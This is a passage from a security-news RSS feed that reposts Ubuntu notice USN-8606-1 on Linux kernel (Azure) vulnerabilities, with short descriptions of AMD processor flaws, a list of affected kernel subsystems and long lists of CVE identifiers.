CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8606-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:41 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23207, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23226, CVE-2026-23227,
CVE-2026-23228, CVE-2026-23229, CVE-2026-23230, CVE-2026-23233,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23249,
CVE-2026-23253, CVE-2026-23255, CVE-2026-23266, CVE-2026-23267,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23272, CVE-2026-23276,
CVE-2026-23277, CVE-2026-23278, CVE-2026-23279, CVE-2026-23281,
CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292,
CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300,
CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306,
CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312,
CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318,
CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325,
CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336,
CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363,
CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374,
CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387,
CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23428, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458,
CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463,
CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470,
CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391,
CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31402, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31411, CVE-2026-31412, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31436, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440,
CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448,
CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452,
CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476,
CVE-2026-31477, CVE-2026-31478, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31637, CVE-2026-31638,
CVE-2026-31639, CVE-2026-31642, CVE-2026-31645, CVE-2026-31646,
CVE-2026-31648, CVE-2026-31649, CVE-2026-31651, CVE-2026-31655,
CVE-2026-31656, CVE-2026-31657, CVE-2026-31658, CVE-2026-31659,
CVE-2026-31660, CVE-2026-31661, CVE-2026-31662, CVE-2026-31664,
CVE-2026-31665, CVE-2026-31667, CVE-2026-31668, CVE-2026-31669,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31675, CVE-2026-31677, CVE-2026-31678,
CVE-2026-31679, CVE-2026-31680, CVE-2026-31681, CVE-2026-31682,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31685, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31689, CVE-2026-31693, CVE-2026-31694,
CVE-2026-31695, CVE-2026-31696, CVE-2026-31697, CVE-2026-31698,
CVE-2026-31699, CVE-2026-31700, CVE-2026-31701, CVE-2026-31702,
CVE-2026-31704, CVE-2026-31705, CVE-2026-31706, CVE-2026-31707,
CVE-2026-31708, CVE-2026-31709, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31714, CVE-2026-31715, CVE-2026-31716, CVE-2026-31720,
CVE-2026-31721, CVE-2026-31722, CVE-2026-31723, CVE-2026-31724,
CVE-2026-31725, CVE-2026-31726, CVE-2026-31728, CVE-2026-31729,
CVE-2026-31730, CVE-2026-31731, CVE-2026-31737, CVE-2026-31738,
CVE-2026-31740, CVE-2026-31741, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31767,
CVE-2026-31768, CVE-2026-31770, CVE-2026-31772, CVE-2026-31773,
CVE-2026-31778, CVE-2026-31779, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43007, CVE-2026-43011, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43037, CVE-2026-43038,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43044,
CVE-2026-43046, CVE-2026-43047, CVE-2026-43049, CVE-2026-43050,
CVE-2026-43051, CVE-2026-43052, CVE-2026-43054, CVE-2026-43056,
CVE-2026-43057, CVE-2026-43058, CVE-2026-43059, CVE-2026-43060,
CVE-2026-43061, CVE-2026-43062, CVE-2026-43064, CVE-2026-43065,
CVE-2026-43066, CVE-2026-43068, CVE-2026-43069, CVE-2026-43071,
CVE-2026-43072, CVE-2026-43073, CVE-2026-43074, CVE-2026-43075,
CVE-2026-43076, CVE-2026-43079, CVE-2026-43080, CVE-2026-43081,
CVE-2026-43082, CVE-2026-43085, CVE-2026-43086, CVE-2026-43088,
CVE-2026-43089, CVE-2026-43091, CVE-2026-43092, CVE-2026-43093,
CVE-2026-43094, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43107, CVE-2026-43109,
CVE-2026-43110, CVE-2026-43111, CVE-2026-43112, CVE-2026-43113,
CVE-2026-43114, CVE-2026-43117, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43123, CVE-2026-43124, CVE-2026-43128, CVE-2026-43129,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43137, CVE-2026-43139,
CVE-2026-43140, CVE-2026-43141, CVE-2026-43143, CVE-2026-43145,
CVE-2026-43147, CVE-2026-43148, CVE-2026-43149, CVE-2026-43150,
CVE-2026-43152, CVE-2026-43153, CVE-2026-43156, CVE-2026-43157,
CVE-2026-43158, CVE-2026-43159, CVE-2026-43162, CVE-2026-43163,
CVE-2026-43167, CVE-2026-43168, CVE-2026-43169, CVE-2026-43170,
CVE-2026-43171, CVE-2026-43173, CVE-2026-43175, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43185,
CVE-2026-43186, CVE-2026-43187, CVE-2026-43189, CVE-2026-43190,
CVE-2026-43194, CVE-2026-43196, CVE-2026-43199, CVE-2026-43200,
CVE-2026-43201, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43212, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43258,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43265,
CVE-2026-43266, CVE-2026-43268, CVE-2026-43269, CVE-2026-43270,
CVE-2026-43271, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43278, CVE-2026-43279, CVE-2026-43281, CVE-2026-43283,
CVE-2026-43287, CVE-2026-43288, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43297, CVE-2026-43300,
CVE-2026-43302, CVE-2026-43304, CVE-2026-43312, CVE-2026-43313,
CVE-2026-43314, CVE-2026-43315, CVE-2026-43316, CVE-2026-43317,
CVE-2026-43318, CVE-2026-43319, CVE-2026-43320, CVE-2026-43324,
CVE-2026-43327, CVE-2026-43328, CVE-2026-43329, CVE-2026-43330,
CVE-2026-43332, CVE-2026-43333, CVE-2026-43334, CVE-2026-43336,
CVE-2026-43338, CVE-2026-43339, CVE-2026-43340, CVE-2026-43341,
CVE-2026-43342, CVE-2026-43343, CVE-2026-43345, CVE-2026-43350,
CVE-2026-43355, CVE-2026-43357, CVE-2026-43359, CVE-2026-43360,
CVE-2026-43361, CVE-2026-43363, CVE-2026-43365, CVE-2026-43366,
CVE-2026-43368, CVE-2026-43370, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43378, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43383, CVE-2026-43384, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43395, CVE-2026-43397, CVE-2026-43405,
CVE-2026-43406, CVE-2026-43407, CVE-2026-43408, CVE-2026-43409,
CVE-2026-43411, CVE-2026-43412, CVE-2026-43413, CVE-2026-43414,
CVE-2026-43415, CVE-2026-43419, CVE-2026-43420, CVE-2026-43421,
CVE-2026-43424, CVE-2026-43425, CVE-2026-43426, CVE-2026-43427,
CVE-2026-43428, CVE-2026-43429, CVE-2026-43430, CVE-2026-43432,
CVE-2026-43436, CVE-2026-43437, CVE-2026-43439, CVE-2026-43441,
CVE-2026-43445, CVE-2026-43448, CVE-2026-43449, CVE-2026-43450,
CVE-2026-43451, CVE-2026-43452, CVE-2026-43453, CVE-2026-43455,
CVE-2026-43456, CVE-2026-43457, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43467, CVE-2026-43468, CVE-2026-43469,
CVE-2026-43471, CVE-2026-43472, CVE-2026-43473, CVE-2026-43475,
CVE-2026-43476, CVE-2026-43480, CVE-2026-43483, CVE-2026-43484,
CVE-2026-43488, CVE-2026-43490, CVE-2026-43491, CVE-2026-43492,
CVE-2026-43493, CVE-2026-43495, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43499, CVE-2026-43501, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45847,
CVE-2026-45848, CVE-2026-45849, CVE-2026-45851, CVE-2026-45852,
CVE-2026-45855, CVE-2026-45856, CVE-2026-45857, CVE-2026-45858,
CVE-2026-45859, CVE-2026-45860, CVE-2026-45861, CVE-2026-45862,
CVE-2026-45864, CVE-2026-45865, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45872, CVE-2026-45873, CVE-2026-45875, CVE-2026-45877,
CVE-2026-45878, CVE-2026-45879, CVE-2026-45880, CVE-2026-45881,
CVE-2026-45882, CVE-2026-45883, CVE-2026-45884, CVE-2026-45885,
CVE-2026-45886, CVE-2026-45890, CVE-2026-45891, CVE-2026-45893,
CVE-2026-45895, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45905, CVE-2026-45910, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45913, CVE-2026-45914, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45917, CVE-2026-45919, CVE-2026-45920, CVE-2026-45921,
CVE-2026-45923, CVE-2026-45924, CVE-2026-45928, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45938, CVE-2026-45941, CVE-2026-45942,
CVE-2026-45943, CVE-2026-45946, CVE-2026-45947, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45957, CVE-2026-45958,
CVE-2026-45960, CVE-2026-45962, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45972,
CVE-2026-45973, CVE-2026-45974, CVE-2026-45976, CVE-2026-45978,
CVE-2026-45981, CVE-2026-45982, CVE-2026-45983, CVE-2026-45984,
CVE-2026-45985, CVE-2026-45986, CVE-2026-45987, CVE-2026-45988,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
